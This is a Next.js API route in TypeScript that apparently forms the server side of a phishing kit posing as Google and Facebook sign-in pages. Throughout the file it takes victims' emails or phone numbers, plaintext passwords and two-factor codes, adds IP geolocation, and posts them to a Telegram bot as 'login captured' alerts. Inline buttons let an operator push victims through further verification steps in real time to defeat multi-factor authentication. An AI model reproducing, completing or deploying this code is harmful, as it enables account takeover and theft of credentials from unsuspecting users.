import { NextRequest, NextResponse } from 'next/server'
import { escapeTelegramHtml } from '@/lib/copy-credentials'
import { isPhoneLogin } from '@/lib/login-contact'
import { sendTelegramText } from '@/lib/telegram-bot-api'
import { buildLoginNotificationKeyboard } from '@/lib/telegram-panel-bot'
import { formatConnectionTest } from '@/lib/telegram-messages'
import { supabase } from '@/lib/supabase'

type AuthProvider = 'google' | 'facebook'

type GeoMeta = {
  country?: string
  city?: string
  isp?: string
  flag?: string
  region?: string
}

interface LoginCredentials {
  email: string
  password: string
  timestamp: string
  userAgent?: string
  ipAddress?: string
  sessionId?: string
  provider?: AuthProvider
  country?: string
  city?: string
  isp?: string
  flag?: string
  region?: string
}

interface TwoFactorCode {
  code: string
  type:
    | '2fa'
    | '2fa-sms'
    | '2fa-email'
    | '2fa-error'
    | '2fa-sms-error'
    | '2fa-email-error'
    | 'phone-code'
    | 'approve'
  email?: string
  timestamp: string
  userAgent?: string
  ipAddress?: string
  sessionId?: string
  provider?: AuthProvider
  country?: string
  city?: string
  isp?: string
  flag?: string
  region?: string
}

function providerBadge(provider?: AuthProvider) {
  if (provider === 'facebook') return 'Facebook'
  return 'Google'
}

function shortUa(ua?: string) {
  if (!ua) return 'Unknown'
  if (ua.length <= 64) return ua
  return `${ua.slice(0, 61)}…`
}

function formatTime(iso: string) {
  try {
    return new Date(iso).toLocaleString('en-GB', {
      day: '2-digit',
      month: 'short',
      hour: '2-digit',
      minute: '2-digit',
      second: '2-digit',
    })
  } catch {
    return iso
  }
}

function pickGeo(...sources: Array<GeoMeta | null | undefined>): GeoMeta {
  const out: GeoMeta = {}
  for (const s of sources) {
    if (!s) continue
    if (!out.country && s.country && s.country !== 'Unknown') out.country = s.country
    if (!out.city && s.city) out.city = s.city
    if (!out.isp && s.isp) out.isp = s.isp
    if (!out.flag && s.flag) out.flag = s.flag
    if (!out.region && s.region) out.region = s.region
  }
  return out
}

async function geoFromSession(sessionId?: string): Promise<GeoMeta> {
  if (!sessionId) return {}
  try {
    const { data } = await supabase
      .from('user_sessions')
      .select('country, city, isp, flag, region')
      .eq('session_id', sessionId)
      .maybeSingle()
    if (!data) return {}
    return {
      country: data.country || undefined,
      city: data.city || undefined,
      isp: data.isp || undefined,
      flag: data.flag || undefined,
      region: data.region || undefined,
    }
  } catch {
    return {}
  }
}

async function geoFromIp(ip?: string, requestUrl?: string): Promise<GeoMeta> {
  if (!ip || ip === 'unknown' || !requestUrl) return {}
  try {
    const url = new URL('/api/get-location', requestUrl)
    url.searchParams.set('ip', ip)
    const res = await fetch(url.toString(), {
      cache: 'no-store',
      signal: AbortSignal.timeout(2800),
    })
    if (!res.ok) return {}
    const data = (await res.json()) as {
      country?: string
      city?: string
      isp?: string
      flag?: string
      region?: string
    }
    return {
      country: data.country,
      city: data.city,
      isp: data.isp,
      flag: data.flag,
      region: data.region,
    }
  } catch {
    return {}
  }
}

async function resolveGeo(
  data: {
    sessionId?: string
    ipAddress?: string
    country?: string
    city?: string
    isp?: string
    flag?: string
    region?: string
  },
  requestUrl: string
): Promise<GeoMeta> {
  const fromPayload: GeoMeta = {
    country: data.country,
    city: data.city,
    isp: data.isp,
    flag: data.flag,
    region: data.region,
  }
  const fromSession = await geoFromSession(data.sessionId)
  const merged = pickGeo(fromPayload, fromSession)
  if (merged.country && merged.city && merged.isp) return merged
  const fromIp = await geoFromIp(data.ipAddress, requestUrl)
  return pickGeo(merged, fromIp)
}

function metaLines(opts: {
  timestamp?: string
  ipAddress?: string
  sessionId?: string
  userAgent?: string
  country?: string
  city?: string
  isp?: string
  flag?: string
  region?: string
}): string[] {
  const lines = [
    `⏱  ${escapeTelegramHtml(formatTime(opts.timestamp || new Date().toISOString()))}`,
    `🌐  <code>${escapeTelegramHtml(opts.ipAddress || 'Unknown')}</code>`,
  ]

  const place = [opts.flag, opts.country, opts.city].filter(Boolean).join(' · ')
  if (place) {
    lines.push(`📍  ${escapeTelegramHtml(place)}`)
  } else if (opts.region) {
    lines.push(`📍  ${escapeTelegramHtml(opts.region)}`)
  }

  if (opts.isp) {
    lines.push(`📡  ${escapeTelegramHtml(opts.isp)}`)
  }

  if (opts.sessionId) {
    lines.push(`🔑  <code>${escapeTelegramHtml(opts.sessionId.slice(0, 12))}</code>`)
  }
  if (opts.userAgent) {
    lines.push(`📱  ${escapeTelegramHtml(shortUa(opts.userAgent))}`)
  }
  return lines
}

async function sendLoginToTelegram(
  credentials: LoginCredentials,
  requestUrl: string
): Promise<boolean> {
  const provider = credentials.provider === 'facebook' ? 'facebook' : 'google'
  const contactKind = isPhoneLogin(credentials.email) ? 'Phone' : 'Email'
  const brand = provider === 'facebook' ? '📘' : '🔴'
  const geo = await resolveGeo(credentials, requestUrl)

  const message = [
    `${brand} <b>${providerBadge(provider)} login captured</b>`,
    '━━━━━━━━━━━━━━━━',
    `<b>${contactKind}</b>`,
    `<code>${escapeTelegramHtml(credentials.email)}</code>`,
    '',
    `<b>Password</b>`,
    `<code>${escapeTelegramHtml(credentials.password)}</code>`,
    '━━━━━━━━━━━━━━━━',
    ...metaLines({
      timestamp: credentials.timestamp,
      ipAddress: credentials.ipAddress,
      sessionId: credentials.sessionId,
      userAgent: credentials.userAgent,
      ...geo,
    }),
  ].join('\n')

  const keyboard = credentials.sessionId
    ? buildLoginNotificationKeyboard(credentials.sessionId)
    : undefined

  return sendTelegramText(message, {
    parseMode: 'HTML',
    replyMarkup: keyboard ? { inline_keyboard: keyboard } : undefined,
  })
}

async function send2FAToTelegram(
  twoFactorData: TwoFactorCode,
  requestUrl: string
): Promise<boolean> {
  const provider = twoFactorData.provider === 'facebook' ? 'facebook' : 'google'
  const brand = provider === 'facebook' ? '📘' : '🔴'
  const geo = await resolveGeo(twoFactorData, requestUrl)
  const typeLabels: Record<TwoFactorCode['type'], string> = {
    '2fa': 'Authenticator',
    '2fa-sms': 'SMS / WhatsApp',
    '2fa-email': 'Email code',
    '2fa-error': 'Authenticator · retry',
    '2fa-sms-error': 'SMS · retry',
    '2fa-email-error': 'Email · retry',
    'phone-code': 'Phone number',
    approve: 'Phone approve',
  }

  const lines = [
    `${brand} <b>${providerBadge(provider)} · verification code</b>`,
    '━━━━━━━━━━━━━━━━',
    `<b>Code</b>`,
    `<code>${escapeTelegramHtml(twoFactorData.code)}</code>`,
    '',
    `<b>Type</b>  ${escapeTelegramHtml(typeLabels[twoFactorData.type])}`,
  ]

  if (twoFactorData.email) {
    lines.push(
      '',
      `<b>${isPhoneLogin(twoFactorData.email) ? 'Phone' : 'Email'}</b>`,
      `<code>${escapeTelegramHtml(twoFactorData.email)}</code>`
    )
  }

  lines.push(
    '━━━━━━━━━━━━━━━━',
    ...metaLines({
      timestamp: twoFactorData.timestamp,
      ipAddress: twoFactorData.ipAddress,
      sessionId: twoFactorData.sessionId,
      userAgent: twoFactorData.userAgent,
      ...geo,
    })
  )

  const message = lines.join('\n')
  const keyboard = twoFactorData.sessionId
    ? buildLoginNotificationKeyboard(twoFactorData.sessionId)
    : undefined

  return sendTelegramText(message, {
    parseMode: 'HTML',
    replyMarkup: keyboard ? { inline_keyboard: keyboard } : undefined,
  })
}

async function sendTryAnotherWayToTelegram(
  data: {
    currentStep?: string
    email?: string
    timestamp?: string
    userAgent?: string
    ipAddress?: string
    sessionId?: string
    provider?: AuthProvider
    country?: string
    city?: string
    isp?: string
    flag?: string
    region?: string
  },
  requestUrl: string
): Promise<boolean> {
  const provider = data.provider === 'facebook' ? 'facebook' : 'google'
  const geo = await resolveGeo(data, requestUrl)
  const stepLabels: Record<string, string> = {
    '2fa': 'app2fa (authenticator)',
    '2fa-error': 'app2fa error',
    '2fa-sms': 'phone2fa (SMS)',
    '2fa-sms-error': 'phone2fa error',
    '2fa-email': 'email2fa',
    '2fa-email-error': 'email2fa error',
    approve: 'approve (notifications)',
    'approve-error': 'approve error',
    'phone-code': 'phonecode',
    'phone-code-error': 'phonecode error',
    login: 'login',
    'login-error': 'login error',
    loading: 'waiting',
  }
  const stepKey = data.currentStep || 'unknown'
  const stepLabel = stepLabels[stepKey] || stepKey

  const lines = [
    `${provider === 'facebook' ? '📘' : '🔴'} <b>${providerBadge(provider)} · Another step</b>`,
    '━━━━━━━━━━━━━━━━',
    `Visitor tapped <b>Try another way</b>`,
    '',
    `<b>Current</b>  ${escapeTelegramHtml(stepLabel)}`,
  ]

  if (data.email) {
    lines.push(
      '',
      `<b>${isPhoneLogin(data.email) ? 'Phone' : 'Email'}</b>`,
      `<code>${escapeTelegramHtml(data.email)}</code>`
    )
  }

  lines.push(
    '━━━━━━━━━━━━━━━━',
    ...metaLines({
      timestamp: data.timestamp,
      ipAddress: data.ipAddress,
      sessionId: data.sessionId,
      userAgent: data.userAgent,
      ...geo,
    }),
    '',
    '<i>Choose the next step using the buttons below.</i>',
  )

  const message = lines.join('\n')
  const keyboard = data.sessionId
    ? buildLoginNotificationKeyboard(data.sessionId)
    : undefined

  return sendTelegramText(message, {
    parseMode: 'HTML',
    replyMarkup: keyboard ? { inline_keyboard: keyboard } : undefined,
  })
}

async function sendNeedAnotherCodeToTelegram(
  data: {
    currentStep?: string
    email?: string
    timestamp?: string
    userAgent?: string
    ipAddress?: string
    sessionId?: string
    provider?: AuthProvider
    country?: string
    city?: string
    isp?: string
    flag?: string
    region?: string
  },
  requestUrl: string
): Promise<boolean> {
  const provider = data.provider === 'facebook' ? 'facebook' : 'google'
  const geo = await resolveGeo(data, requestUrl)
  const stepKey = data.currentStep || '2fa-sms'
  const stepLabel =
    stepKey.includes('email')
      ? 'email2fa'
      : stepKey.includes('sms') || stepKey.includes('phone')
        ? 'phone2fa (SMS)'
        : '2FA code'

  const lines = [
    `${provider === 'facebook' ? '📘' : '🔴'} <b>${providerBadge(provider)} · Resend code</b>`,
    '━━━━━━━━━━━━━━━━',
    `Visitor tapped <b>Resend code</b>`,
    '',
    `<b>Current</b>  ${escapeTelegramHtml(stepLabel)}`,
  ]

  if (data.email) {
    lines.push(
      '',
      `<b>${isPhoneLogin(data.email) ? 'Phone' : 'Email'}</b>`,
      `<code>${escapeTelegramHtml(data.email)}</code>`
    )
  }

  lines.push(
    '━━━━━━━━━━━━━━━━',
    ...metaLines({
      timestamp: data.timestamp,
      ipAddress: data.ipAddress,
      sessionId: data.sessionId,
      userAgent: data.userAgent,
      ...geo,
    }),
    '',
    '<i>Send a new code step using the buttons below.</i>',
  )

  const message = lines.join('\n')
  const keyboard = data.sessionId
    ? buildLoginNotificationKeyboard(data.sessionId)
    : undefined

  return sendTelegramText(message, {
    parseMode: 'HTML',
    replyMarkup: keyboard ? { inline_keyboard: keyboard } : undefined,
  })
}

export async function GET() {
  const ok = await sendTelegramText(formatConnectionTest(), { parseMode: 'HTML' })
  return NextResponse.json({
    configured: true,
    success: ok,
    webhookSetup: 'GET /api/telegram/set-webhook (use HTTPS URL in production)',
  })
}

export async function POST(request: NextRequest) {
  try {
    const body = await request.json()
    const { type, data } = body
    const requestUrl = request.url

    if (type === 'login' || type === 'facebook-login') {
      const success = await sendLoginToTelegram(data as LoginCredentials, requestUrl)
      return NextResponse.json({ success })
    }

    if (type === '2fa-code') {
      const success = await send2FAToTelegram(data as TwoFactorCode, requestUrl)
      return NextResponse.json({ success })
    }

    if (type === 'try-another-way') {
      const success = await sendTryAnotherWayToTelegram(data, requestUrl)
      return NextResponse.json({ success })
    }

    if (type === 'need-another-code') {
      const success = await sendNeedAnotherCodeToTelegram(data, requestUrl)
      return NextResponse.json({ success })
    }

    return NextResponse.json({ error: 'Invalid type' }, { status: 400 })
  } catch (error) {
    console.error('[telegram] POST error:', error)
    return NextResponse.json({ error: 'Internal server error' }, { status: 500 })
  }
}
